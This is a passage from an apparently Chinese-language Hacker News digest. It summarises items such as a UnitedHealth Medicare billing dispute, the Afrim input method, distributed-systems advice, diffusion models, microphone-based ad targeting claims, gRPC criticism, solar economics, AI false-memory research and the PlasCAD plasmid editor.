双方争议的焦点之一是2014年4月29日一次由时任CMS管理员Marilyn Tavenner安排的视频会议。UnitedHealth的两位高管在证词中称,CMS工作人员当时告诉他们,公司在当时没有义务去发现错误的代码。然而,包括Rice在内的CMS工作人员则表示,他们记得当时提醒了这些高管,即使没有病历审查规则,公司也有义务善意地努力只为经核实的代码计费,否则可能面临《虚假申报法》下的处罚。司法部将围绕这项流产法规的争执称为“红鲱鱼”,并指出UnitedHealth在要求举行会议时,已经知道其病历审查已被调查了两年。

针对此类病历审查的批评认为,它们只是人为地增加了政府成本。保险行业团体AHIP则辩护称,病历审查是Medicare Advantage计划用来支持患者、识别慢性病并防止其恶化的一种工具。

自2014年以来,其他保险公司也已就司法部关于其基于病历审查为未确诊状况向Medicare计费的指控达成和解。卫生与公众服务部监察长的一份报告指出,2017年,99%的病历审查添加了新的医学诊断,估计当年给Medicare带来了67亿美元的成本。

25. Show HN: A modern way to type in African languages (github.com)

Afrim:现代非洲语言输入法平台

Afrim 是一个旨在保护非洲当地方言的输入法,是一个基于语音的通用输入法平台。

历史

Afrim 最初作为 Clafrica IME 的重写版本开发,名为 Clafrica。之后,团队创建了一个输入法库,并借鉴 RIME 进行了改进,支持阿姆哈拉语、吉兹语等非洲语音输入法,并更名为 Afrim Input Method Engine(Afrim 输入法引擎)。其灵感来源于 librime,目标不仅是成为输入法,更是成为实现任何目标语言输入法的工具/库。

特性

  • 支持所有顺序编码方案。
  • 易于使用的命令行界面。
  • 可自定义的词典。
  • 支持桌面和网页平台。
  • 支持 Rhai 脚本语言。
  • 自动建议/自动纠正/自动补全。
  • 为非拉丁语言提供的完全沉浸模式(实验性功能)。

安装

构建依赖项(仅限 Linux):libxtst-dev、libevdev-dev、libxdo-dev。

运行时依赖项(仅限 Linux):libxtst-dev、libevdev-dev、libxdo-dev。

支持的键盘布局:QWERTY(美式)、FRENCH(非 AZERTY)。

可通过 Cargo 安装:cargo install afrim。程序附带一个 REPL 应用,可用于测试库是否正常工作,使用方式为提供配置文件的路径(例如:afrim configfile.toml)。

数据集

  • 官方:Afrim 支持的代码。
  • 社区:欢迎提交自定义数据集。

前端

  • 官方
    • afrim-wish:桌面环境前端。
    • afrim-web:网页环境前端。
    • afrim-keyboard:安卓环境前端。
  • 社区:欢迎提交自定义前端。

许可证

所有代码均以 Mozilla Public License v2.0 发布。

贡献

欢迎 fork 仓库并提交拉取请求。

赞助

项目欢迎用户点赞、分享以及捐赠支持。

26. Notes on Distributed Systems for Young Bloods (www.somethingsimilar.com)

《写给年轻人的分布式系统笔记》要点总结

本文是作者为分布式系统新人整理的实战经验总结,旨在弥补理论学习与生产实践之间的鸿沟。核心观点认为,分布式系统与单机系统的根本区别在于失败概率,特别是部分失败的概率,而非常见的误解“延迟”。以下为关键要点:

核心挑战与设计原则

  1. 失败是常态:网络、机器、磁盘等故障频繁发生,且常表现为部分失败(如一个写入成功另一个失败)。必须在设计之初就考虑失败。
  2. 成本高昂:构建健壮的分布式系统比单机系统需要更多的金钱、时间和实际分布式的环境进行测试。
  3. 协调代价大:应尽可能避免机器间的协调,追求水平扩展的核心是实现节点间的独立性
  4. 数据局部性:应尽量让计算和缓存靠近数据的持久化存储,以提高效率、保证缓存一致性。

实践方法与技巧

  1. 实施反压:必须在系统全链路实施反压机制(如超时、退避、降级),以防止过载和级联故障。
  2. 追求部分可用:当部分系统故障时,应能返回部分结果(如搜索引擎在超时前返回已找到的结果),而非完全不可用。
  3. 度量是关键:必须暴露详细的性能指标(如延迟百分位数)。日志文件可能产生误导,应谨慎使用。
  4. 使用百分位数:避免使用平均值(通常无意义),应使用50、99、99.9等百分位数来准确描述用户感知的系统性能。
  5. 特征标志发布:采用特征标志进行灰度发布和基础设施迁移,替代“大爆炸式”发布,以控制风险、便于调试和回滚。
  6. 明智选择ID空间:ID的设计会影响数据分区和系统架构。需权衡信息密度(是否包含用户ID等)与操作便捷性。
  7. 估算容量:工程师需掌握背靠背计算能力,以评估单台机器能否满足需求(如内存中能存储多少数据)。

认知与注意事项

  1. 计算机能力常被低估:单台现代服务器性能强大,应先优化单机应用性能,再考虑分布式。
  2. 谨慎使用CAP定理:它不能用于构建系统,但非常适合用于评估和理解系统设计的权衡。
  3. 考虑服务化:将功能抽取为独立服务(而非共享库),可以降低客户端系统的部署复杂度与协调成本,尤其适用于需要封装存储层变更的场景。
  4. 避免回写缓存数据:将缓存数据写回持久存储是一种常见的糟糕设计,易导致数据不一致。

作者最后指出,本文主要关注技术问题,但社交与协调问题在分布式系统开发中往往更为棘手。整篇笔记为新工程师提供了从理论到实践、从技术到心态的宝贵指导。

27. Diffusion Is Spectral Autoregression (sander.ai)

扩散即频谱自回归:扩散模型与自回归模型的内在联系

本文探讨了扩散模型与自回归模型的深层联系,提出核心观点:图像扩散模型本质上是在频域中执行近似的自回归

迭代细化与图像频谱

自回归和扩散模型均通过分解复杂生成任务来进行迭代细化。在图像生成中,扩散模型表现出“从粗到细”的特征。通过傅里叶变换分析发现,自然图像的径向平均功率谱密度遵循幂律分布:低频(粗略结构)能量高,高频(细节)能量低。

加噪过程与频域自回归

高斯噪声的频谱在所有频率上功率均等。将噪声加入图像时,低频由图像信号主导,高频由噪声主导。随着噪声方差增加,噪声逐渐“淹没”更多高频信号。 因此,扩散模型的加噪过程实际上是逐渐滤除高频信息的低通滤波过程;去噪过程则是根据已有的低频成分,逐步预测更高频率成分。这构成了频域中的近似自回归。通过设定信噪比阈值,可定量建立噪声水平与最大可检测频率间的单调映射。

音频领域的扩展

原始音频波形的频谱不遵循幂律分布,也不单调递减,故该理论不直接适用。然而,当音频转换为梅尔频谱图并作为图像处理时,其频谱重新呈现幂律特征。这表明在频谱图上应用扩散模型本质上是一种“倒谱自回归”。

范式平衡与未来展望

扩散损失在所有噪声水平上的加权平均,隐式实现了对图像空间频率的加权,起到感知损失的作用,解释了其在视觉领域的成功。因语言数据缺乏此频率分解特性,语言建模仍以自回归为主。 当前“语言用自回归,其他用扩散”的格局是一种“不稳定的平衡”。未来多模态模型的发展可能需要统一这两种范式:要么全模态采用自回归并借鉴扩散思想,要么构建涵盖语言的多模态扩散模型。尽管直接在频域进行精确自回归是种替代方案,但扩散模型在采样步数调整、模型蒸馏和无分类器引导等方面具备自回归难以比拟的灵活性,使其核心优势得以保留。

28. Launch HN: Fortress (YC S24) – Database platform for multi-tenant SaaS
29. Company Says It Uses Your Phones Mic to Serve Ads for Facebook, Google, etc. (news.itsfoss.com)

文章总结:CMG公司涉嫌利用手机麦克风监听用户以投放定向广告

事件概述

一家名为 Cox Media Group(CMG) 的数字营销公司被揭露开发并推广名为 “主动监听”(Active Listening) 的技术,声称可通过智能手机的麦克风收集用户语音数据,并利用AI进行分析,用于向Facebook、Google、Amazon等平台投放定向广告。

技术运作方式

  1. 数据收集:CMG声称可通过 470多个来源 收集语音数据,包括用户手机麦克风。
  2. 数据处理:结合语音数据与行为数据,AI技术可识别“准备购买”的消费者,并在目标 10至20英里半径 内精准投放广告。
  3. 合法性声称:CMG副总裁Justin Wenokur曾在博客中声称,该技术合法,通常隐藏在应用下载或更新时的多页用户协议细则中。

商业推广与定价

  • CMG在宣传材料中列举了与 Google、Amazon Advertising、Facebook 的合作关系,并自称是Amazon Advertising的“首个媒体合作伙伴”。
  • 广告服务定价:10英里半径每日100美元,20英里半径每日200美元(该定价信息已被删除)。

合作方反应

  1. Amazon:否认曾参与该计划,并表示无合作意向。
  2. Google:已将CMG移出其合作伙伴计划。
  3. Meta:正在审查CMG是否违反服务条款,相关业务页面已无法找到。

隐私担忧与现象

  • 许多用户报告,即使未主动搜索,仅口头提及特定关键词后便会收到相关广告,引发对手机“窃听”的怀疑。
  • 该问题常被网络模因淡化,未得到足够重视,但涉及第三方与大型科技公司之间的数据获取界限模糊化问题。

结论

该事件揭示了数字广告行业中可能存在的隐蔽数据收集行为,以及用户隐私保护面临的挑战。尽管大型科技公司已对CMG采取措施,但此类“主动监听”技术的合法性和伦理问题仍需进一步关注。

30. Long-term unemployment leads to disengagement and apathy (www.psypost.org)

《人格杂志》新研究表明,长期失业与个人控制感丧失及心理社会脱离显著相关。控制感是人类基本需求,当其无法满足时可能引发严重心理后果。本研究由Wiktor Soral等人主导,旨在通过长期失业这一现实情境,探讨控制感丧失的真实影响。

研究以1055名波兰参与者为样本,其中748人失业(按失业时长分为短期0-3个月、中期4-12个月、长期超过12个月),307人在职作为对照组。参与者完成了一系列测量,包括幸福感、自尊、控制感(个人、政治、宿命论)、情绪、压力应对策略及社会态度等,并分两次完成问卷(最终纳入854人)。

主要发现:

  1. 长期失业与心理功能变化:失业时间越长,幸福感和自尊水平下降越明显,对个人控制和宿命论控制的丧失感越强。负面情绪(如抑郁、恐惧)增加,积极情绪(如热情)减少,呈现情绪脱离。
  2. 行为模式转变:长期失业者较少采用积极压力应对策略,对个人项目和未来目标的追求减少,表现出“习得性无助”特征——动机减弱、对恢复生活控制持悲观态度。
  3. 社会政治脱离:长期失业者更易脱离社会和政治活动,民族认同感降低,参与集体行动(如抗议)的意愿下降。同时,心理防御机制增强,表现为个人和集体自尊心上升,更倾向于将失业归咎于政府或企业等外部因素。
  4. 外部控制依赖未增强:研究未发现长期失业者转向寻求外部控制源(如宗教信仰或系统公正化),说明其脱离伴随防御性增强,但未必然寻求外部慰藉。

研究局限性在于采用横断面设计,无法确定因果关系。

本研究揭示了长期失业如何通过侵蚀控制感,导致个体在情绪、行为及社会参与层面的系统性脱离,并凸显了失业作为压力源对心理健康和社会整合的深远影响。

31. Graph Language Models (aclanthology.org)

现有语言模型处理结构化知识图谱时存在两种主流方法的局限:一种是线性化图结构后输入语言模型,这会损失图的结构信息;另一种是使用图神经网络保留结构,但无法充分利用预训练语言模型对文本特征的表示能力。为此,本文提出一种新型的图语言模型,通过将预训练语言模型的参数用于初始化以理解图中的概念与关系三元组,同时在架构中引入图的结构偏置,以促进图内知识的有效传播。该模型能够统一处理图、文本及混合输入。实验表明,在关系分类任务的监督和零样本设置中,该模型的嵌入性能均优于基于语言模型和图神经网络的基线方法,体现了其通用性。

32. gRPC: The Ugly Parts (kmcd.dev)

gRPC 的丑陋之处

gRPC 虽在微服务领域功效卓著,但存在诸多不完美之处。本文基于实践经验,剖析其主要缺陷。

一、生成代码丑陋且性能未达最优

  • 代码冗长难读:由 protobuf 定义生成的代码历史上以冗长复杂著称,影响可读性和可维护性。尽管近年有所改善,但在大型项目中仍显粗糙。
  • 反射影响性能:标准编译器生成的代码(如 Go 语言)大量使用运行时反射进行序列化,这通常比直接生成的专用代码更慢。独立插件如 vtprotobuf 可生成类型特定的序列化函数,在几乎不改动代码的情况下将性能提升 2-4%。此类优化本应由标准编译器提供(可通过 optimize_for = SPEED 选项启用)。

二、语言特性冲突与规范设计缺陷

  • 不符合语言习惯:protobuf/gRPC 的初始实现常偏离各语言规范,尤其在处理 HTTP 时。强制要求 HTTP/2 的决定限制了其在 Web 前端的发展。
  • Go 生态整合困难:在 Go 中,gRPC 绕过了标准库的 net/http,使得与其他 HTTP API 共用及中间件复用困难。虽后续添加了实验性的 ServeHTTP() 接口,但性能损失严重。
  • 枚举规范受 C++ 影响:protobuf 的枚举值命名规范(如 FOO_BAR_ 前缀)源于 C++ 作用域规则,却强制影响所有目标语言,设计不够直观。

三、“必填”字段的处理困境

  • proto3 移除 required 字段:因实践中“必填”字段常变为可选,proto3 版本完全移除了 required 关键字。
  • 验证需求与解决方案:尽管移除了语法层面的必填声明,但业务上仍需验证。推荐使用 protovalidate 等库,通过自定义选项(如 (buf.validate.field).required = true)在代码层面强制验证,兼具灵活性与可靠性。

四、采用门槛高与生态不成熟

  • 学习曲线陡峭:protobuf 及相关工具链对新手不友好,增加了初始采用难度。需要更多如 .NET 的 Grpc.Tools 那样深度集成到语言工具链中的方案。
  • 社区存在“精英主义”:部分后端开发者抵制 gRPC 进入前端领域,这种心态阻碍了其更广泛的采纳。
  • 依赖管理混乱:跨项目共享 protobuf 定义缺乏标准方案。尽管存在 Bazel、Buf 的 BSR 等工具,但许多项目仍用笨拙的自定义脚本。Buffrs 等新兴开源项目试图解决此问题。
  • “知名类型”特权:Google 的 well-known types 被内置于编译器中,这种特殊处理不利于其他通用 protobuf 类型库的发展。

五、工具链与文档质量欠佳

  • 编辑器支持不足:编辑器缺乏智能链接生成代码与 protobuf 源文件的能力。Buf 的编辑器支持(提供 lint 和自动格式化)是当前较好的实践。
  • 文档生成丑陋:从 protobuf 生成的文档工具(如 protoc-gen-doc)视觉效果和功能性远不如 OpenAPI 生态。作者通过生成 OpenAPI 规范再使用前端工具展示来解决此问题。gRPC 工具链也缺少像 OpenAPI 那样的在线接口测试功能。

六、项目历史与可持续性隐忧

  • 起源与现状:gRPC 最初由 Google 开发(“g” 原指 Google),其发展受历史包袱影响,导致前端生态整合不佳。
  • 维护持续性存疑:考虑到 Google 近期在其他开源项目(如 Flutter、Dart)上的团队调整,社区担忧 gRPC 和 protobuf 的长期投入。虽然社区在增长,但能否自持续仍是问题。

结论

gRPC 在代码生成、依赖管理、工具链成熟度及向前后端融合等方面仍有明显不足。然而,其未来依然可期。社区正在积极开发工具(如 Buf CLIprotovalidateprotoc-gen-connect-openapi)来弥补差距。随着 gRPC 生态持续演进,工具有望改善,编辑器支持将加强,与前端世界的集成也将更加顺畅。

33. QWERTY-Flip: The better keyboard layout your fingers already know (nick-gravgaard.com)

QWERTY-Flip:一种更优且易于学习的键盘布局

核心原理

QWERTY-Flip通过交换标准QWERTY布局中顶部行与中间行的按键(当顶行按键的使用频率高于中间行对应位置时),将英语中最高频的10个字母(ETAOINSRHL) 中的绝大多数集中到打字时手指最自然放置的主行上。这一设计在提升输入效率的同时,最大限度地保留了QWERTY布局的肌肉记忆。

主要优势

  1. 易于学习:使用者只需掌握一条简单的规则(交换规则),即可将现有QWERTY技能快速迁移,无需像学习Dvorak等布局那样进行大量记忆重建。
  2. 性能均衡:根据Carpalx评估系统,QWERTY-Flip的得分为2.061,与著名的Dvorak布局(2.047分)相近,但学习难度远低于后者。
  3. 实用性强:在众多通过类似原理衍生的布局(如QWDFGY、ASERT等)中,QWERTY-Flip在效率提升与学习成本之间取得了最佳平衡,被认为是继QWERTY后对大多数人最实用的布局选择。

扩展版本

为满足部分用户将剩余两个高频字母也移至主行的需求,作者还设计了两个变体布局:

  • Spin:在基础版上进一步优化,但会降低肌肉记忆的迁移性。
  • Twist:另一变体,同样以增加学习复杂度为代价换取更高频率字母的集中。 这些变体是否值得采用,取决于用户对效率提升与学习成本之间的权衡。

获取与版权

  • 布局文件可通过作者提供的Git仓库下载,适用于不同操作系统。
  • 该布局由Nick Gravgaard于2020年8月重新发现并推广,页面内容及图片采用知识共享署名3.0许可协议授权。页面最初发布于2021年1月3日,最后更新于2021年3月6日。
34. For those who hear voices, the ‘broken brain’ explanation is harmful (aeon.co)
35. Solar will get too cheap to connect to the power grid (climate.benjames.io)

太阳能将便宜到无需并网:成本、饱和与未来应用

太阳能电池板成本正急速下降,将导致廉价电力涌入电网,但这仅仅是第一幕。我们不仅不会在电网接入极限处停止建设太阳能,反而会建造更多。本文将解释我们为何会持续建设,以及如何处理多余电力。

太阳能将变得极其便宜

太阳能电池板是将免费阳光转化为电力的魔法。作为一种无需活动部件的发电方式,它比其他能源更易于大规模制造。其生产类似于制造扁平硅基石(如半导体、玻璃),因此拥有极高的学习率——产量越大,成本越低。这导致太阳能部署以惊人速度增长:全球大部分太阳能发电装置是在过去30个月内安装的,仅中国2023年的新增装机量就超过美国历史总和。预计未来五年太阳能成本还将减半。

太阳能将使电网饱和

随着太阳能接入增多,电网接入将愈发困难,主要原因有二:

  1. 太阳能自我蚕食:所有太阳能电池板都在白天同时发电。大量接入会拉低阳光时段的电价,因为供给激增。最终,新增太阳能的边际收益会降低,甚至出现负电价(消费者用电反被付费,但发电商盈利困难)。这创造了将需求转移到可再生能源丰富时段的强大激励,例如电动汽车和电加热等灵活需求,这是当前整合可再生能源的首要任务。

  2. 电网容量限制:将新发电项目接入电网本身就很耗时。在英国,平均等待电网连接的时间超过5年,40%以上的排队项目连接日期在2030年之后。在美国,电网连接队列规模过去十年增长了7倍以上,其中95%是太阳能、风能和电池项目,排队容量已是现有全部发电厂装机容量的两倍多。

如何处理多余太阳能?

太阳能虽会饱和电网,但我们不会停止建设,而是转向离网应用。主要有两种方式:

1. 太阳能与储能结合

白天免费电力、随后几小时电价高企,这对锂离子电池是理想场景。太阳能装机越多,电池部署也将激增。然而,由于电网容量有限,无法将所有太阳能电力通过高压输电系统充入电池。因此,太阳能与储能必须实现本地化协同,例如:公用事业太阳能与储能共址、家庭为自家太阳能配储、在现有太阳能发电设施旁新建电池。尽管部分电力仍会流经本地配电网,但依赖新建输电线路吸收全部未来太阳能产能是不切实际的——输电线路建设昂贵且缓慢,而电池部署廉价且迅速。

2. 太阳能用于间歇性过程

更颠覆性的思路是顺应阳光节律,仅在日照期间使用能量。虽然这将利用率降至约25%,但无需配置电池,使得电力成本达到全球最低水平。间歇性太阳能如此廉价,足以改变一次能源供应格局,不仅能直接供电,更能通过操纵原子生产燃料:

  • 合成煤油(用于航空)
  • 清洁氨(用于肥料)
  • 清洁甲醇(用于航运)
  • 甚至合成天然气

这些合成燃料(如可持续航空燃料)都依赖绿氢作为基础原料。目前,生产绿氢成本极高,唯一具备成本竞争力的方式便是使用离网太阳能。同样,任何能优化为25%利用率、可承受间歇性运行的过程都将迎来机遇,例如直接空气捕获、工业加热、电化学工艺等。

离网应用还带来额外成本优势:若直接为直流应用供电,可省略逆变为交流电的效率损失;去除大部分平衡系统、电力电子设备和电网接入手续,能实现更快、更廉价的部署。

结论

“能否构建仅使用四分之一时间免费能源的工艺”是能源未来最重要且未被充分探索的问题之一。传统化学工程思维优化的是昂贵输入、连续输出和高效率。然而,针对低利用率、免费能源的设计空间正待开拓。尽管这具有挑战性(因为利用率低会严重影响资本密集型工艺的回报周期),但我们尚未真正尝试。一个不争的事实是:很少有人为间歇性太阳能优化,而间歇性太阳能将改变世界。

36. Economist Eugene Fama: 'Efficient markets is a hypothesis. It's not reality (www.ft.com)
37. AI-Implanted False Memories (www.media.mit.edu)

AI植入虚假记忆研究摘要

本文呈现了三项关联研究,探讨人工智能技术如何诱导并放大人类的虚假记忆。研究涵盖多种AI交互模式:对话式AI接口、AI视觉媒体编辑以及聊天机器人交互中的隐蔽错误信息注入。

核心研究发现

研究一:对话式AI在目击者访谈中的效应

  • 方法:模拟犯罪目击者访谈,比较四种AI条件(对照组、问卷调查、预设脚本聊天机器人、基于大语言模型的生成式聊天机器人)。
  • 结果:生成式聊天机器人诱导的即时虚假记忆比对照组增加三倍以上,比问卷调查方法增加1.7倍。36.4% 的用户通过与生成式聊天机器人的交互被误导。
  • 持续影响:一周后,虚假记忆数量保持稳定,且对这些虚假记忆的信心度仍高于对照组。
  • 易感因素:对聊天机器人不熟悉但对AI技术更了解、并对犯罪调查更感兴趣的人群更易受影响。

研究二:AI编辑视觉媒体对记忆的扭曲

  • 方法:200名参与者观看原始图像后,分别接触未编辑图像、AI编辑图像、AI生成视频或AI编辑图像的生成视频。
  • 结果:AI编辑的视觉材料显著增加虚假回忆,其中AI编辑图像的生成视频效应最强,虚假回忆比对照组增加2.05倍,对虚假记忆的信心度增加1.19倍
  • 讨论:指出其在人机交互中的潜在应用(如治疗性记忆重构)及伦理、法律、社会挑战。

研究三:聊天机器人对话中隐蔽注入错误信息

  • 方法:180名参与者在阅读一篇文章后,接触五种条件:无干预、阅读诚实/误导性文章摘要、与诚实/误导性聊天机器人讨论文章。
  • 结果:误导性聊天机器人交互导致的虚假回忆率显著高于误导性文章摘要等传统文本方法。
  • 意义:突显了对话式AI普及所带来的新兴风险。

整体结论与影响

这三项研究揭示了一个一致模式:无论是通过诱导性提问、视觉操纵还是对话误导,AI系统都具有塑造和扭曲人类记忆的前所未有能力。 研究强调,在法律程序、治疗情境和日常信息消费等敏感领域整合AI时,必须审慎考虑这些记忆操纵风险。

相关论文引用

  1. Conversational AI Powered by Large Language Models Amplifies False Memories in Witness Interviews

    • 作者: Chan, S., et al. (2024)
    • 出处: arXiv:2408.04681
    • 核心内容: 详述了对话式AI在目击者访谈中放大虚假记忆的研究。
  2. Synthetic Human Memories: AI-Edited Images and Videos Can Implant False Memories and Distort Recollection

    • 作者: Pataranutaporn, P., et al. (2025)
    • 出处: CHI 2025
    • 核心内容: 探讨AI编辑的图像和视频如何植入虚假记忆并扭曲回忆。
  3. Slip Through the Chat: Subtle Injection of False Information in LLM Chatbot Conversations Increases False Memory Formation

    • 作者: Pataranutaporn, P., et al. (2025)
    • 出处: IUI 2025
    • 核心内容: 研究恶意生成式聊天机器人如何通过隐蔽注入错误信息诱导虚假记忆。
39. Show HN: PlasCAD: Open-source plasmid editor (github.com)

PlasCAD:开源质粒编辑器

项目概述 PlasCAD 是一款开源、轻量且高性能的质粒(载体)与引物设计、验证软件。它支持质粒编辑、基于 PCR 的克隆、DNA 片段酶切,并能展示表达蛋白的详细信息,同时集成了 NCBI 和 PDB 等在线生物数据库资源。

核心功能

  • 引物设计与优化:全面评估引物质量(包括 Tm 值、GC 含量、3' 端稳定性、重复序列和二聚体),支持自动或手动调整长度以优化参数。可自动生成适用于 SLIC 和 FastCloning 技术的引物。
  • 序列查看与编辑:提供所见即所得的序列编辑器,支持叠加显示引物、酶切位点、特征和开放阅读框(ORF),并提供直观的环形质粒图谱。
  • PCR 与克隆辅助:根据序列和引物对生成 PCR 产物及反应参数(如温度和时间);支持限制性内切酶消化及产物生成;内置溶液配制计算器以辅助试剂混合。
  • 蛋白质分析:内联显示氨基酸序列,生成蛋白质疏水性图表,并通过 RCSB PDB API 获取和查看蛋白质的 3D 结构数据。具备基础的毒性蛋白(如多聚谷氨酰胺束)检测功能。
  • 自动注释与比对:自动识别并注释启动子、复制起点、抗性基因、亲和标签及常见酶切位点。提供基于 Hamming、Levenshtein 和 Smith-Waterman 算法的基础序列比对工具。

文件兼容性与存储 支持读写 FASTA、GenBank 和 SnapGene (.dna) 格式,以及只读 AB1(Sanger 测序)文件。其原生 .pcad 二进制格式采用 2-bit 核苷酸编码,文件体积比常规格式小 4 到 10 倍。

设计理念与性能 PlasCAD 将性能置于首位,具有程序体积小、内存和 CPU 占用低、启动和响应迅速的特点,旨在为科研人员提供快速、易用且功能完备的工具。

近期开发计划 未来计划增加质粒毒性/疏水性/聚集区质量控制、引物上下文检查、二级结构(如发夹结构)识别、重叠特征显示优化以及基因自动注释系统等功能。